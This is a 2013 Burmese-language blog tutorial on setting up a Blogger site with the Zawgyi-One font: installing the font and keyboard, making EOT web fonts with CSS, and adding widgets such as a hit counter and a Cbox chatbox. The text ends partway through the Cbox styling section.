စိုင္းသီဟစိုး ဆိုက္မွအားလံုးကို လိႈက္လွဲေႏြးေထြးစြာနဲ႕ႀကိဳဆိုပါတယ္။ ကၽြန္ေတာ္ဆိုက္ကို လာေရာက္သူအားလံုး ကိုယ္စိတ္ႏွစ္ပါး က်န္းမာခ်မ္းသာပါေစလို႕ ဆုမြန္ေကာင္းေတာင္းေပးလိုက္ပါတယ္.....
စိုင္းသီဟစိုး ဆိုက္မွအားလံုးကို လိႈက္လွဲေႏြးေထြးစြာနဲ႕ႀကိဳဆိုပါတယ္။ ကၽြန္ေတာ္ဆိုက္ကို လာေရာက္သူအားလံုး ကိုယ္စိတ္ႏွစ္ပါး က်န္းမာခ်မ္းသာပါေစလို႕ ဆုမြန္ေကာင္းေတာင္းေပးလိုက္ပါတယ္.....
စိုင္းသီဟစိုး ဆိုက္မွအားလံုးကို လိႈက္လွဲေႏြးေထြးစြာနဲ႕ႀကိဳဆိုပါတယ္။ ကၽြန္ေတာ္ဆိုက္ကို လာေရာက္သူအားလံုး ကိုယ္စိတ္ႏွစ္ပါး က်န္းမာခ်မ္းသာပါေစလို႕ ဆုမြန္ေကာင္းေတာင္းေပးလိုက္ပါတယ္.....
စိုင္းသီဟစိုး ဆိုက္မွအားလံုးကို လိႈက္လွဲေႏြးေထြးစြာနဲ႕ႀကိဳဆိုပါတယ္။ ကၽြန္ေတာ္ဆိုက္ကို လာေရာက္သူအားလံုး ကိုယ္စိတ္ႏွစ္ပါး က်န္းမာခ်မ္းသာပါေစလို႕ ဆုမြန္ေကာင္းေတာင္းေပးလိုက္ပါတယ္.....
စိုင္းသီဟစိုး ဆိုက္မွအားလံုးကို လိႈက္လွဲေႏြးေထြးစြာနဲ႕ႀကိဳဆိုပါတယ္။ ကၽြန္ေတာ္ဆိုက္ကို လာေရာက္သူအားလံုး ကိုယ္စိတ္ႏွစ္ပါး က်န္းမာခ်မ္းသာပါေစလို႕ ဆုမြန္ေကာင္းေတာင္းေပးလိုက္ပါတယ္.....

Sunday, May 19, 2013

Blog လုပ္ရန္



မာတိကာ
􀀀
Aပိုင္း ၁ (Blog လုပ္ရန္ လိုAပ္တာမ်ား ျပင္ဆင္ျခင္း)
o Font Download And Install
o Keyboard Download And Install
o Type Zawgyi-one font
o Zawgyi-one font Aား Eot လုပ္ျခင္း
o Upload EOT
􀀀
Aပိုင္း ၂ (Blog လုပ္ျခင္း)
o ျမန္မာစာေပၚရန္ variable မ်ားေျပာင္းျခင္း
o Post တင္ျခင္း
􀀀
Aပိုင္း ၃ (လိုAပ္တာမ်ား ျဖည့္စြက္ျခင္း)
o User Online
o Hit Counter
o Cbox ထည့မ္ ယ္
o Cbox Background ေျပာင္းမယ္
o Recent Post
o Customizable recent comments widget (using JSON feed)
o Peek-a-boo Post (Read More)
􀀀
Appendix
o FAQ
o Useful Link
Aပိုင္း ၁
Blog လုပ္ရန္ လိုAပ္တာမ်ား ျပင္ဆင္ျခင္း
ျမန္မာ blog တစ္ခုလုပ္ေတာ့မယ္ဆိုရင္ Aရင္ဆံုး… ကၽြန္ေတာ္တို႕ blogger ေတြ Aသံုးမ်ားတဲ့ zawgyi-one ကေတာ့ AဓိကလုိAပ္ပါတယ္..
ေဇာ္ဂ်ီ keyboard နဲ႕ font ကို ဒီမွာ download ခ်လိုက္ပါ…
Font Download And Install
http://www.mysteryzillion.com/mmglite/font/Zawgyi-One.ttf
မွာ download Aရင္ခ်လိုက္ပါ…
C:\WINDOWS\Fonts ေAာက္ထဲသို႕ download ခ်ထားေသာ zawgyi-one.ttf ကို past လုပ္လိုက္ပါ…
ျပီးရင္ font active ျဖစ္၇န္Aတြက္ zawgyi-one ကို double-click လုပ္ျပီးဖြင့္ၾကည့္ပါ.. ပြင့္လာျပီးလွ်င္ ျပန္ပိတ္လိုက္ပါ..
Keyboard Download And Install
http://www.mediafire.com/?6wodgmczyhg
မွာ download Aရင္ခ်လိုက္ပါ..
Zawgyi Keyboard Installer ပါ...
ပိုလြယ္ေAာင္လုပ္ထားပါတယ္....
install.bat ကိုႏိွပ္လိုက္ရင္ရျပီ....
ျပီးရင္ Logout လုပ္လိုက္...
ျပန္၀င္လိုက္ရင္ရျပီ...
taskbar မွာ Keyboard icon မတက္လာဘူးဆိုရင္
run-> intl.cpl -> Language -> Detail ကိုႏိွပ္လိုက္ပါ...
ေနာက္ထပ္ dialog box တက္လာပါမယ္...
Advance -> Turn off advanced text services က check ျဖစ္ေနပါမယ္...
uncheck လုပ္လိုက္ပါ...
keyboard icon ေလး taskbar မွာေပၚလာပါမယ္..


Type Zawgyi-one font
စာရိုက္ရန္Aတြက္ ျမန္မာစာ လက္ကြက္ကေတာ့ ေAာက္ပါAတိုင္းျဖစ္ပါတယ္..
ျမန္မာလိုရိုက္လိုပါက Ctrl+Shift တြဲႏိွပ္လိုက္ပါ… ဒါဆို ျမန္မာ လက္ကြက္ေျပာင္းသြားပါမယ္…
English လုိျပန္ေျပာင္းလိုပါက Ctrl+Shift တြဲႏိွပ္လိုက္ပါ.. English လက္ကြက္ ျပန္ေျပာင္းသြားပါမယ္…
ျမန္မာ လက္ကြက္တြင္ Ctrl+Alt ႏိွပ္ျပီး စာရိုက္ပါက keyboard လက္ကြက္ပံုတြင္ျပထားေသာ Aျပာေရာင္စာလံုး ေAာက္ဘက္ ျဖစ္ျပီး
Ctrl+Alt+Shfit ႏိွပ္ျပီး စာရို္က္ပါက keyboard လက္ကြက္ပံုတြင္ ျပထားေသာ Aျပာေရာင္စာလံုးAေပၚဘက္ျဖစ္ပါတယ္..
Zawgyi-one font Aား Eot လုပ္ျခင္း ( REF: ကိုေမာင္လွ http://mghla.blogspot.com/)
http://download.microsoft.com/download/8/a/1/8a1be03f-f7fc-4504-af9a-7b9230775284/WEFTIII2b1.exe
ကို download Aရင္ခ်ပါ… ျပီးရင္ install လုပ္လိုက္ပါ..
D: ေAာက္မွ eot ဆိုတဲ့ folder ေလးေဆာက္လိုက္ပါ…
ျပီးရင္ notepad ထဲမွာ..
<font face=”Zawgyi-one”><strong>1. Bold </strong>2. <em>Italic </em>3. <strong><em>Bold+Italic </em></strong>4.
Normal </font>
Aဲလိုေလးရိုက္ျပီး D:\eot ေAာက္မွာ eot.htm နဲ႕သိမ္းလိုက္ပါ..
WEFT program ကိုဖြင့္ပါ.. ျပီးရင္ box တက္လာလွ်င္ next ႏိွပ္ပါ… နာမည္နဲ႕ email ထည့္ခိုင္းရင္ ထည့္ျပီး next လုပ္ပါ..
ခုေပၚလာတဲ့ dialog box က Aေရးႀကီးတယ္ေနာ္... ေရွ႕က list boxထဲမွာ ခုက်ေတာ္က ကြန္ပ်ဴတာထဲမွာ ရွိတဲ့ ဖုိင္ကို သုံးမွာဆုိေတာ့ file://
ကိုေရြးတယ္...Internet ေပၚက ဖုိင္ကို ညႊန္းမယ္ ဆုိရင္ေတာ့ http:// (or) https:// (or) ftp://တစ္ခုခုကို ေရြးေပးစရာ လုိပါတယ္...ခုေရြးခဲ့တဲ့ list
box ရဲ႕ ညာဘက္ ၁-ခုေက်ာ္မွာရွိတဲ့ ... button ေလးကို ကလစ္ႏွိပ္ၿပီး ကၽြန္ေတာ္တို႕ လုပ္ထားတဲ့ eot.htm ရွိတဲ့ဖုိင္ေလးကို ညႊန္ျပလုိက္ပါတယ္...
ၿပီးရင္ Next ကို ကလစ္လုပ္ပါ...
Next ထပ္လိုက္ပါ… Do you want to continuous? ဆိုတာ ေပၚလာလည္း next လုပ္ပါ..
Font to Embed box ကိုေရာက္ရင္...subsetting ကို 7. No subsettingထားလုိက္ပါတယ္... Zawgyi-one Aျပင္ တျခား font ေတြပါလာရင္
don’t embed လုပ္လိုက္ပါ..
Create Font Objects ဆုိတဲ့ box ေပၚလာရင္ Edit button ကိုႏွိပ္ၿပီး eot သုံးမယ့္ web site ေတြရဲ႕ address ကို ထည့္းေပးရပါတယ္...
ထည့္တဲ့Aခါသိထားရမွာက http://mghla.blogspot.comလုိ႔ပဲထည့္ထား ခဲ့မိရင္ http://www.mghla.blogspot.comလုိ႔ ၀င္ၾကည့္တဲ့လူေတြ
Aဆင္မေျပပါဘူး... Aဲဒါေၾကာင့္ လိပ္စာထည့္တဲ့Aခါ wwwပါတာတဲ့ လိပ္စာေေရာ ၊ မပါတဲ့ လိပ္စာပါ ထည့္ေပးစရာ လုိပါတယ္...
ၿပီးရင္ ပုံထဲမွာ ျပထားတဲ့Aတုိင္း Aေပၚက check box ၂-ခုကိုAမွန္ျခစ္ ျခစ္ေပးပါUီး... ၿပီးၿပီဆုိရင္ေတာ့ Next ကို
ႏွိပ္ေတာ့ဗ်ာ...ခဏေတာ့ေစာင့္ေနာ္...ေဟာ ေပၚလာပါၿပီ... CSS Style dialog box ဆုိၿပီး ေပၚလာပါၿပီ...Aဲဒီထဲက ေAာက္မွာျပထားတဲ့ code
ေတြကို က်ေတာ္ copy ကူးထားလုိက္တယ္...
@font-face {
font-family: Zawgyi-One;
font-style: normal;
font-weight: 700;
src: url(ZAWGYIO3.eot)
}
@font-face {
font-family: Zawgyi-One;
font-style: oblique;
font-weight: normal;
src: url(ZAWGYIO2.eot);
}
@font-face {
font-family: Zawgyi-One;
font-style: oblique;
font-weight: 700;
src: url(ZAWGYIO1.eot);
}
@font-face {
font-family: Zawgyi-One;
font-style: normal;
font-weight: normal;
src: url(ZAWGYIO0.eot);
}
ၿပီးရင္ေတာ့ Close ကိုႏွိပ္တယ္... Next ကိုႏွိပ္တယ္...
You all are done.... ဘာညာလာျပေတာ့ Finish ကို ႏွိပ္လုိက္တယ္... D:\eot\ folder ထဲသြား ၾကည့္ေတာ့ ZAWGYIO0.eot, ZAWGYIO1.eot,
ZAWGYIO2.eot, ZAWGYIO3.eot ဆုိၿပီး ဖိုင္ ၄-ဖုိင္ ထြက္လာတာ ေတြ႕ရတယ္... ဘာျဖစ္လုိ႔ ၄-ဖုိင္ ထြက္တာလဲဆုိေတာ့ eot.htm ဖုိင္ထဲမွာ့
Bold, Italic, Bold+Italic, Normal ဆုိၿပီး စာ ၄-မ်ဳိး ထည့္ထားမိလုိ႔ ခင္ဗ်...
Upload EOT
တင္ဖို႕Aတြက္… မိမိႏွစ္သက္ရာ web hosting မွာတင္လို႕ရပါတယ္.. တကယ္လို႕ ဘယ္မွာ တင္ရမွန္းမသိဘူး.. Aလုပ္လည္း ရႈပ္တယ္ထင္ရင္
google page ကလည္းသံုးလို႕ရပါတယ္..
http://pages.google.com/ ကိုသြားပါ.. google account ၇ိွရင္ ရပါတယ္..
Upload တင္တာေလးကို ခဏေလာက္ေစာင့္လိုက္ပါ…
Upload တင္ထားတဲ့ File ကို right click ေထာက္ျပီး copy shortcut ယူျပီးမွတ္ထားပါ..
ျပီးရင္ notepad ထဲမွာ ျဖစ္ျဖစ္ ခဏမွတ္ထားပါ… ၄ ခုလံုးကို copy ကူးျပီးရင္ Aေပၚက ရထားတဲ့ eot CSS မွာ ေျပာင္းထည့္ရပါမယ္..
တင္ထားတဲ့ eot address ကို ေAာက္ကAတိုင္းေျပာင္းလိုက္ပါမယ္…
@font-face {
font-family: Zawgyi-One;
font-style: normal;
font-weight: 700;
src: url(http://saturngod.googlepages.com/ZAWGYIO3.eot)
}
@font-face {
font-family: Zawgyi-One;
font-style: oblique;
font-weight: normal;
src: url(http://saturngod.googlepages.com/ZAWGYIO2.eot);
}
@font-face {
font-family: Zawgyi-One;
font-style: oblique;
font-weight: 700;
src: url(http://saturngod.googlepages.com/ZAWGYIO1.eot);
}
@font-face {
font-family: Zawgyi-One;
font-style: normal;
font-weight: normal;
src: url(http://saturngod.googlepages.com/ZAWGYIO0.eot);
}
ကဲ Blog စလုပ္ရေAာင္….
Aပိုင္း ၂
Blog လုပ္ျခင္း
www.blogger.com မွာ Aရင္ဆံုး register လုပ္လိုက္ပါ…
Create Your Blog Now ဆိုတာေလးကို ႏိွပ္လိုက္ပါ..
Google Account ရိွျပီးသူေတြကေတာ့ account ကို register လုပ္တဲ့ေနရာမွာ google account sign in လုပ္လိုက္ပါ..
Display name မွာ ကိုယ့္ blog နာမည္ေလးေပးခဲ့ပါ…
ကိုယ့္ blog address ေလးကိုၾကိဳက္ရာေပးေပါ့..
ျပီးရင္ ႏွစ္သက္ရာ theme ေလးေရြးလိုက္ပါ..
ကဲ… register ျပီးသြားရင္ေတာ့ စေရးလို႕ရျပီ…
Log in မ၀င္ရေသးရင္ ၀င္လိုက္ပါ…
ျပီးရင္ layout ကို ၀င္လိုက္ပါ..
Edit HTML ကို ၀င္လိုက္ပါ..
Edit HTML တြင္ body { ဆိုတာေလးကိုရွာလိုက္ပါ..
သူ႕Aေပၚတြင္ Aေပၚကရထားေသာ eot css ေလးကို past လုပ္လိုက္ပါ…
( Aေပၚက search bar ကိုျဖဳတ္လိုပါက )
ထုိ႕ေနာက္ ေAာက္ တြင္
#navbar-iframe {
height: 0px;
visibility: hidden;
display: none;
}
ဆိုတာထည့္လိုက္ပါ.. ထိုAခါ
@font-face {
font-family: Zawgyi-One;
font-style: normal;
font-weight: 700;
src: url(http://saturngod.googlepages.com/ZAWGYIO3.eot)
}
@font-face {
font-family: Zawgyi-One;
font-style: oblique;
font-weight: normal;
src: url(http://saturngod.googlepages.com/ZAWGYIO2.eot);
}
@font-face {
font-family: Zawgyi-One;
font-style: oblique;
font-weight: 700;
src: url(http://saturngod.googlepages.com/ZAWGYIO1.eot);
}
@font-face {
font-family: Zawgyi-One;
font-style: normal;
font-weight: normal;
src: url(http://saturngod.googlepages.com/ZAWGYIO0.eot);
}
#navbar-iframe {
height: 0px;
visibility: hidden;
display: none;
}
body {
ျဖစ္သြားပါမည္။
ျမန္မာစာေပၚရန္ variable မ်ားေျပာင္းျခင္း
Edit Html တြင္
<Variable Name= ႏွင့္ စကာ type="font" ျဖစ္ေသာ စာမ်ားကိုရွာပါ.. % ေနာက္တြင္ Zawgyi-one, ထည့္လိုက္ပါ..
Example :
<Variable name="bodyFont" description="Text Font" type="font"
default="normal normal 100% Zawgyi-one,'Trebuchet MS',Verdana,Arial,Sans-serif">
<Variable name="pageTitleFont" description="Blog Title Font" type="font"
default="normal bold 200% Zawgyi-one,'Trebuchet MS',Verdana,Arial,Sans-serif">
<Variable name="descriptionFont" description="Description Font" type="font"
default="normal normal 100% Zawgyi-one,'Trebuchet MS',Verdana,Arial,Sans-serif">
<Variable name="headerFont" description="Sidebar Title Font" type="font"
default="normal bold 100% Zawgyi-one,'Trebuchet MS',Verdana,Arial,Sans-serif">
<Variable name="postTitleFont" description="Post Title Font" type="font"
default="normal bold 135% Zawgyi-one,'Trebuchet MS',Verdana,Arial,Sans-serif">
Aကုန္လံုးထည့္လို႕ျပီးပါက Save လုပ္လိုက္ပါ…
ကဲ ျမန္မာလိုေရးလို႕ရပါျပီ…
Post တင္ျခင္း
Posting ေAာက္က Create New Post ကို သြားလိုက္ပါ…
Aဲဒီမွာ rich text box ေပၚလာပါမယ္… Edit HTML ကိုေျပာင္းရိုက္ပါ..
Aေကာင္းဆံုးကေတာ့ Aရင္ဆံုး notepad မွာ Aရင္ရိုက္… ျပီးမွ past လုပ္ျပီးတင္ေပါ့… ဒါမွ ျမန္မာလိုရိုက္ထားတာကို ျမင္ရမွာပါ…
Notepad မွာ ေဇာ္ဂ်ီ font ကိုေကာင္းေကာင္းရိုက္လို႕ေAာင္…
ကၽြန္ေတာ္တို႕ zawgyi-one ကုိ notepad မွာ စာရိုက္ရင္ စာေသေသခ်ာခ်ာမေပၚဘူးဗ်...
တျခားစက္ေတြမွာေတာ့ မသိဘူး..
ကၽြန္ေတာ္သံုးတဲ့ စက္မွာေတာ့ Aေပၚက --္ တို႕ --ါ တို႕ဆိုမေပၚဘူး...
Aေပၚပိုင္းက --ီ တို႕ --ိ တို႕ဆို မေပၚဘူး...
ေရးရတာ နည္းနည္း feel ပ်က္တာေပါ့...
word နဲ႕ေရးျပန္ေတာ့လည္း ဖြင့္ရတာရႈပ္တယ္...
ဒါနဲ႕ နည္းလမ္းေလးရွာၾကည့္ေတာ့...
တနည္းေတာ့ေတြ႕တယ္...
Notepad ကိုဖြင့္ဖြင့္လိုက္တယ္...
enter တခ်က္ေခါက္လိုက္တယ္...
ျပီးေတာ့ space ေလးတခ်က္ေလာက္ ပုတ္ေလာက္ေပါ့...
ျပီးမွ Aေပၚဆံုးကေန စေရးၾကည့္...
--္ တို႕ --ိ တို႕ေကာင္းေကာင္းေပၚတယ္...
notepad မွာေရးရတာ ပိုေကာင္းသြားတယ္...
ျပီးရင္ ေတာ့ publish post လုပ္လိုက္ရံုပဲေပါ့…
Aပိုင္း ၃
လိုAပ္တာမ်ား ျဖည့္စြက္ျခင္း…
User Online
User online ကေတာ့ ကိုယ့္ blog ကို လူဘယ္ႏွစ္ေယာက္ Aခုၾကည့္ေနလဲဆိုတာကို ေဖာ္ျပဖို႕ပါ…
ျပီးရင္ blogger ထဲကို၀င္
Template ေAာက္က Page Elements ကို၀င္... Side bar မွာ Add a Page Elements ကို ႏိွပ္…
HTML / Javascript ကို ႏိွပ္ပါ… Aဲဒီ Aထဲမွာ ဒါေလးထည့္လိုက္ပါ…
<script src="http://fastonlineusers.com/on2.php?d=yourblog.blogspot.com" type="text/javascript"></script> User Online
Aနီေရာင္စာေနရာမွာ ကိုယ့္ရဲ႕ blog address ထည့္လိုက္ပါ…
Hit Counter
ကိုယ့္ site ကို လူဘယ္ႏွစ္ေယာက္၀င္သလဲဆိုတာ သိဖို႕Aတြက္…
http://www.ultimate-counter.com/
ကိုသြားပါ…
Your Web Address (URL): တြင္ ကိုယ့္ blog လိပ္စာထည့္ပါ..
Start Counter at: ကေတာ့ စခ်င္တဲ့ counter ေပါ့..
Email: ကေတာ့ ကိုယ့္ email ထည့္ေပါ့…
ျပီးရင္ design ေရြးလိုက္…
Sign Up ဆိုတာေလးကို ႏိွပ္လိုက္ပါ..
ျပီးရင္ textbox ထဲမွာ HTML code ေတြေပၚလာပါမယ္…
ဒီAတိုင္း ကူးလိုက္ရင္ ရပါတယ္.. ကၽြန္ေတာ္ကေတာ့ တျခား Aပိုေတြ ပါလာတာမၾကိဳက္တဲ့Aတြက္.. တကယ့္ Aေရးၾကီးလုတိ ဲ့ image ေလးပဲ
ကူးပါမယ္..
<img src="http://www.ultimate-counter.com/counter/?id=3055734&style=8" width="83" height="19" border="0" alt="Cabo
Yachts">
Aဲဒါေလးကိုသာ ကူးပါမယ္.. Aနီေရာင္နဲ႕ ျပထားတဲ့Aပိုင္းကေတာ့ တစ္ေယာက္နဲ႕ တစ္ေယာက္ မတူပါဘူး..
ျပီးရင္ blogger ထဲကို၀င္
Template ေAာက္က Page Elements ကို၀င္... Side bar မွာ Add a Page Elements ကို ႏိွပ္…
HTML / Javascript ကို ႏိွပ္ပါ… Aဲဒီ Aထဲမွာ ခုနက ကူးထားတဲ့ code ေလးထည့္လိုက္ေပါ့…
ျပီးရင္ Save Changes လုပ္လိုက္ပါ… ဒါဆိုရင္ ရပါျပီ…
Cbox ထည့္မယ္.. (ကိုရန္ေAာင္ http://yanaung.blogspot.com )
ဒီတစ္ခါေတာ႔ ဆီဗုံးလုိ႔ Aမ်ားစုက ခ်စ္စႏုိးေျပာင္ေခၚေနၾကတဲ႔ Cbox နဲ႔ ပတ္သက္တာ ေလးေတြ ကၽြန္ေတာ္သိသေလာက္ ေရးေပးပါမယ္.
Cbox ဆုိတာကေတာ႔ ဘေလာ႔ဂ္ေတြ ေတာ္ေတာ္မ်ားမ်ားမွာ ေတြ႔ေနရတဲ႔ ဘေလာ႔ဂ္ေရးသူနဲ႔ လာလည္သူေတြၾကားက communication tool
ေလးတစ္ခု ပါပဲ. လာလည္သူေတြ ကလည္း သူတုိ႔ေျပာခ်င္တဲ႔ Message ေတြကုိ Cbox မွာ ထားခဲ႔တယ္။ ဘေလာ႔ဂ္ပုိင္ရွင္ကလည္း ျပန္ေျပာမယ္။
မွန္တာကုိ ေျပာစတမ္းဆုိရင္ ကုိယ္႔ရဲ႔ Cbox မွာ လာလည္သူေတြ မ်ားတာကို ဘေလာ႔ဂ္ပိုင္ရွင္တုိင္း ၀မ္းသာAားရ ျဖစ္မိၾကပါတယ္။
ခုေနာက္ပုိင္းဆုိရင္ တစ္ေယာက္နဲ႔တစ္ေယာက္ Aျပန္Aလွန္ေနာက္ေျပာင္တာ ေလးေတြကို ဆီဗုံးမွာ ေရးခဲ႔ၾကတယ္။ Aျပင္က ေမာေမာနဲ႔
ျပန္လာျပီးေနာက္ ကၽြန္ေတာ္ပထမဆုံး လုပ္တာကေတာ႔ Email စစ္တာ မဟုတ္ပါဘူး။ ကုိယ္႔ရဲ႔ ဆီဗုံးမွာ ဘယ္သူေတြ ၀င္ေရးသြားလဲ၊ ဘယ္သူေတြ
၀င္ဖြသြားလဲ ဆုိတာကုိ Aရင္ၾကည္႔တာပါပဲ။
ကဲ. စလုိက္ၾကရေAာင္လားဗ်ာ.
ပထမဆုံး http://www.cbox.ws/ ကုိသြားပါ။ Account တစ္ခု Sign Up လုပ္ပါ။ See all styles မွာ ကုိယ္ၾကိဳက္တဲ႔ Color ေလးေတြ ေရြးယူလုိ႔
ရပါတယ္။
ျပီးရင္ ကုိယ္႔ Account ထဲကုိ ၀င္ပါ။ Admin Tab ကုိသြားပါ။ Aဲဒီ႔ေနရာကေန ကုိယ္႔ရဲ႔ Cbox ကုိ Aမ်ိဳးမ်ိဳး manage လုပ္လုိ႔ ရပါတယ္။
Width ေတြ Height ေတြလည္း ေျပာင္းလုိ႔ရပါတယ္။ Default ေပးထားတဲ႔ Width က ေတာ္ေတာ္က်U္းပါတယ္။ ၁၆၀ ပဲ ေပးထားပါတယ္။ ၂၀၀
(သုိ႔) ၂၂၀ ေလာက္ ေျပာင္း ၾကည္႔လုိက္ပါ။ ဒါဆုိရင္ ကုိယ္႔ရဲ႔ Cbox မွာ စာေတြ ေကာင္းေကာင္းျမင္ရတဲ႔ Aဆင္႔ထိ ေရာက္သြားပါလိမ႔္မယ္။
စိတ္ၾကိဳက္ေျပာင္းယူပါ။ ကုိယ္႔ရဲ႔ Template က ေပးထားတဲ႔ Column Width နဲ႔ ကုိက္ညီေAာင္ ေျပာင္းယူပါ။
Form Layout မွာေတာ႔ Cbox ရဲ႔ Design ကုိ ေျပာင္းယူလုိ႔ရပါတယ္။ Message ေရးတာကုိ Aေပၚမွာ ထားလုိ႔ရသလုိ ေAာက္မွာလည္း
ထားလုိ႔ရပါတယ္။ ကိုယ္႔ စိတ္ၾကိဳက္ ေျပာင္းၾကည္႔ပါခင္ဗ်ာ။
Messages တုိ႔၊ Message Length တုိ႔မွာလည္း ကုိယ္လုိသလုိ Setting ကုိထားႏိုင္ ပါတယ္။
Cbox ကုိ မိတ္ဆက္တဲ႔ Aပုိင္းကေတာ႔ ျပီးပါျပီ။ ခုေျပာမွာကေတာ႔ Aေရးၾကီးတဲ႔ Aပုိင္းပါ။ Cbox မွာ ျမန္မာလုိ စာေကာင္းေကာင္းေပၚေAာင္
ဘယ္လုိလုပ္ရမလဲ ဆုိတဲ႔ ျပႆနာပါ။
Colors & Fonts ကုိ သြားပါ။ Fonts ဆုိတာကုိ သြားပါ။ သူ႔ရဲ႔ Default က Arial Font ကုိ ေပးထားပါတယ္။ Aဲဒီ႔ Box ေလးေနရာမွာ Zawgyi-One
လုိ႔ ေျပာင္းရုိက္ေပးလုိုက္ပါ။ ျပီးရင္ Apply Button ေလးကုိ ႏွိပ္လုိက္ပါ။ ဒါဆုိရင္ ကုိယ္႔ရဲ႔ Cbox မွာ ျမန္မာလုိ စာေကာင္းေကာင္း ေပၚပါျပီ။
ေနာက္တစ္ခုကေတာ႔ Smilies Tab ပါ။ Aေပၚခပ္က်က်ေနရာေလးက Preset Smilies ဆုိတာေလးကုိ ႏွိပ္လုိက္ရင္ ခုလုိ ပုံမွာ ျမင္ရပါလိမ္႔မယ္။
Aဲဒီ႔ေနရာမွာ ကုိယ္႔ Cbox ထဲမွာ ေပၚေစခ်င္တဲ႔ Smilies Color ေလးေတြကုိ ေျပာင္းလုိ႔ရပါတယ္။ Default Blue, Default Orange, Default
Yellow လုိ႔ ေပးထားပါတယ္။ ၾကိဳက္ရာေျပာင္းယူႏုိင္ပါတယ္။
Customize Smilies ကုိ ျပန္သြားပါ။ ခုေျပာမွာကေတာ႔ ကုိယ္ၾကိဳက္တဲ႔ Smilies ပုံေလးေတြကုိ ဘယ္လုိထည္႔လုိ႔ ရႏိုင္မလဲ ဆုိတာပါပဲ။
New Row ကုိ ယူလုိက္ပါ။ URL Address ေနရာမွာ ကုိယ္ထည္႔ခ်င္တဲ႔ Smilies ပုံေလးရဲ႔ URL ကုိ ရုိက္ထည္႔ေပးလုိက္ပါ။ Code ေနရာမွာေတာ႔
ကုိယ္႔ရဲ႔ Smilies ေလးAတြက္ သီးသန္႔ သေကၤတေလးတစ္ခု ကုိယ္႔ဖာသာကိုယ္ လုပ္ေပးလုိက္ပါ။ Uပမာ ဟားတုိက္ရီေနတဲ႔ ပုံေလးထည္႔ထားမိရင္
:)) လုိ႔ ရုိက္ထည္႔ျပီး မွတ္ခုိင္းထားတဲ႔ ပုံစံမ်ိဳးေပါ႔။
My Users Tab ကေတာ႔ Diabled ျဖစ္ေနပါတယ္။ သူကေတာ႔ ပုိက္ဆံသြင္းထားတဲ႔ Registered Users ေတြAတြက္ပဲ ရပါတယ္။ Blocked Users
ကေတာ႔ ကုိယ္႔ဘက္က Block လုပ္ထားတဲ႔ User ေတြနဲ႔ ပတ္သက္တဲ႔ Information ေတြ ျပထားတာပါ။
Messages မွာကေတာ႔ ကုိယ္႔ Cbox မွာ ေရးထားတဲ႔ Messages ေတြကုိ Manage လုပ္လုိ႔ရပါတယ္။
ကုိယ္ဖ်က္ခ်င္တဲ႔ Message ကုိ Tick လုပ္ျပီး ဖ်က္ပစ္လုိ႔ရပါတယ္။ ကုိယ္ Ban လုပ္ခ်င္တဲ႔ User ကုိလည္း Tick လုပ္ျပီး Ban ဆုိတာကုိ
ႏွိပ္လုိက္လုိ႔ရပါတယ္။ ဒါဆုိရင္ Aဲဒီ႔ user ကုိယ္႔ Cbox မွာ စာလာေရးလုိ႔ မရေတာ႔ပါဘူး။ IP Address ကုိလည္း Tracking လုိက္လုိ႔ ရပါတယ္။
ဘယ္ေနရာကေန စာလာရုိက္တယ္ဆုိတာကုိ သိႏုိင္တာေပါ႔။ ကၽြန္ေတာ္သုံးတဲ႔ IP Tracking Tool ကေတာ႔ IP Hacker ပါ။
Cbox Aေၾကာင္းကေတာ႔ ဒီမွာ ျပီးပါျပီ။
ကုိယ္႔ရဲ႔ဘေလာ႔ဂ္မွာ Cbox တင္ဖုိ႔Aတြက္ Quick Setup ကုိ ျပန္သြားပါ။ သူေပးထားတဲ႔ Codes ေတြကုိ ကူးယူပါ။
ျပီးရင္ Blogger ထဲကုိ Sign in ၀င္ျပီးေတာ႔ Template>Add Page Element မွာ HTML/JavaScript ကုိ ေရြးလုိုက္ပါ။ ျပီးရင္ ကူးယူလာတဲ႔ Code
ေလးေတြ ကုိ ထည္႔ေပးလုိက္ရုံပါပဲ။
Add a Page Element ကုိႏွိပ္လုိက္လွ်င္ ျမင္ရမည္႔ပုံ
Aားလုံး Aဆင္ေျပ ေခ်ာေမြ႔ၾကပါေစ ခင္ဗ်ာ။ မရွင္းတာရွိရင္လည္း Comments ထဲမွာ ၀င္ေရာက္ ေမးျမန္းႏုိင္ပါတယ္။
မွတ္ခ်က္။
၁. Cbox တြင္ Aေကာင္းAဆုိးေရာေနသည္။ Cbox ထည္႔ထားျခင္းေၾကာင္႔ မိတ္ေဆြမ်ားတုိးပြားလာႏုိင္သကဲ႔သုိ႔ Aမည္မေဖာ္ဘဲ
၀င္ေရာက္ေႏွာင္႔ယွက္ တတ္သူမ်ားေၾကာင္႔လည္း စိတ္Aေႏွာင္႔Aယွက္ ျဖစ္ရတတ္ပါသည္။
၂. Blogger Aသစ္မ်ားAေနျဖင္႔ Cbox ရွိထားျခင္းသည္ မိမိဘေလာ႔ဂ္Aတြက္ လာလည္သူမ်ားထံမွ AၾကံUာဏ္ေကာင္းမ်ား ပုိမုိ၍
ရလာေစႏုိင္ပါသည္။ မိတ္ေဆြ မ်ားလည္း ပုိမုိတုိးပြားလာေစႏိုင္ပါသည္။
၃. Cbox မရွိေသာ ဘေလာ႔ဂ္သို႔ ၀င္လွ်င္ မရင္းႏွီးေသးေသာ သူစိမ္းAိမ္သုိ႔ Aလည္သြား ရသည္ႏွင္႔ တူပါသည္။ ထုိ႔ျပင္ မိမိAား ေAးစက္စက္ႏွင္႔
ဆက္ဆံေနသကဲ႔သုိ႔ ခံစားရပါသည္။
( ကိုရန္ေAာင္ Aာေဘာ္ျဖစ္သည္ ၊ ကၽြန္ေတာ္လည္း ေထာက္ခံပါ၏ )
Cbox Background ေျပာင္းမယ္
Cbox ရဲ႕ Main BG နဲ႕ Alt BG တို႕ကို ဘာမွ မထည့္ခဲ့ပါနဲ႕.. ရိွတာကို ဖ်က္လိုက္ပါ…
ျပီးရင္ Cbox ထည့္ထားေသာ Page Element ကို Edit လုပ္ပါ
id="cboxmain"
ကိုရွာၾကည့္ပါ… ပါရင္ ကိစၥမရိွပါဘူး…
မပါရင္ေတာ့ name="cboxmain" ကိုရွာပါ… သူ႕ေနာက္မွာ id="cboxmain" ကိုထည့္ပါ… ျပီးရင္ save လုပ္လိုက္ပါ…
Aသစ္ရတဲ့ Code ကို ျပန္ကူးထည့္ဖို႕လိုပါတယ္..
Template ေAာက္က Edit HTML သြားပါ
body {
ကိုရွာပါ
သူ႕Aေပၚတြင္
#cboxmain{
